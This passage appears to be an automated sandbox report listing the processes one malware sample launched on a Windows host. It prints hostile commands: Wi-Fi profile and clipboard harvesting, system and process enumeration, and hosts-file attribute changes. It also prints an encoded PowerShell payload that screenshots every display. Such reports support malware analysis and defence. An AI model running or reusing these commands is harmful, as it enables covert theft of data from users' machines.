Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 3524, Parent PID: 8188

General

Target ID:	24
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:22:07
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:22:08
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	05:22:08
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:22:08
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff73b8c0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:22:08
Start date:	17/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff77aff0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:22:08
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:22:08
Start date:	17/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff64dbf0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7848, Parent PID: 5720

General

Target ID:	33
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:22:10
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff73b8c0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:22:11
Start date:	17/11/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Imagebase:	0x7ff78bf20000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:22:11
Start date:	17/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:22:11
Start date:	17/11/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff73b070000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:22:12
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8464, Parent PID: 7324

General

Target ID:	46
Start time:	05:22:12
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:22:12
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:22:12
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:22:12
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff73b8c0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	05:22:12
Start date:	17/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff71edc0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8632, Parent PID: 8616

General

Target ID:	52
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff73b8c0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff71edc0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: csc.exePID: 8776, Parent PID: 8260

General

Target ID:	58
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tgmup5d5\tgmup5d5.cmdline"
Imagebase:	0x7ff631db0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8792, Parent PID: 7324

General

Target ID:	60
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff7bb830000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	05:22:13
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
